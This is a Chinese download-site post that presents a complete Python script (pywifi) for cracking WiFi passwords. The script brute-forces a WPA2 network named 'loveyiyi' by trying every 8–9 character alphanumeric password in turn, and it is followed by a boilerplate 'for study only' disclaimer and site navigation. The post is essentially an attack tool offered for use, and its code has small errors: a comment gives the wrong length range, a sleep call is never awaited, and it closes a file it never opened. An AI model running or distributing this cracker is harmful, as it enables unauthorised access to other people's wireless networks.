• python破解wifi密码

    1. import time  # 时间
    2. from asyncio.tasks import sleep
    3. import itertools
    4. import pywifi  # 破解wifi
    5. from pywifi import const  # 引用一些定义
    6. class PoJie():
    7.     def __init__(self):
    8.         wifi = pywifi.PyWiFi() #抓取网卡接口
    9.         self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
    10.         self.iface.disconnect() #测试链接断开所有链接
    11.      
    12.         time.sleep(1) #休眠1秒
    13.      
    14.         #测试网卡是否属于断开状态,
    15.         assert self.iface.status() in
    16.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    17.     def readPassWord(self):
    18.         print("开始破解:")
    19.         chars = '0123456789abcdefghijklmnopqrstuvwxyz'
    20.         for password_length in range(8, 10):  # 这里我们尝试长度为1到8的密码
    21.     # 使用itertools.product生成所有可能的密码组合
    22.     # print(password_length)
    23.             for password_tuple in itertools.product(chars, repeat=password_length):
    24.                 password = ''.join(password_tuple)
    25.                 # if password == "123":
    26.                 #     print(password)
    27.                 print(f'正在尝试密码{password}')   
    28.                 try:
    29.                     myStr = password
    30.                     if not myStr:
    31.                         break
    32.                     bool1=self.test_connect(myStr)
    33.                     if bool1:
    34.                         print("密码正确:",myStr)
    35.                         break
    36.                     else:
    37.                         print("密码错误:"+myStr)
    38.                     sleep(3)
    39.                 except:
    40.                     continue
    41.                              
    42.     def test_connect(self,findStr):#测试链接
    43.         profile = pywifi.Profile()  #创建wifi链接文件
    44.         profile.ssid ="loveyiyi" #wifi名称
    45.         profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
    46.         profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
    47.         profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
    48.         profile.key = findStr #密码
    49.      
    50.         self.iface.remove_all_network_profiles() #删除所有的wifi文件
    51.         tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
    52.         self.iface.connect(tmp_profile)#链接
    53.         time.sleep(5)
    54.         if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
    55.             isOK=True  
    56.         else:
    57.             isOK=False
    58.         self.iface.disconnect() #断开
    59.         time.sleep(1)
    60.         #检查断开状态
    61.         assert self.iface.status() in
    62.             [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    63.      
    64.         return isOK
    65.      
    66.     def __del__(self):
    67.         self.file.close()
    68.          
    69. start=PoJie()
    70. start.readPassWord()

    复制代码

    温馨提示:本站提供的一切软件、教程和内容信息都来自网络收集整理,仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负,版权争议与本站无关。用户必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。如果您喜欢该程序和内容,请支持正版,购买注册,得到更好的正版服务。我们非常重视版权问题,如有侵权请邮件与我们联系处理。敬请谅解!

    给TA打赏
    共{{data.count}}人
    人已打赏
    网站源码

    源支付V7Uos版

    2025-5-10 15:46:39

    网站源码

    ZeppLife微信支付宝刷步数源码 非第三方接口

    2025-5-10 15:46:50

  • 0 条回复 A文章作者 M管理员
      暂无讨论,说说你的看法吧
    个人中心
    购物车
    优惠劵
    今日签到
    有新私信 私信列表
    搜索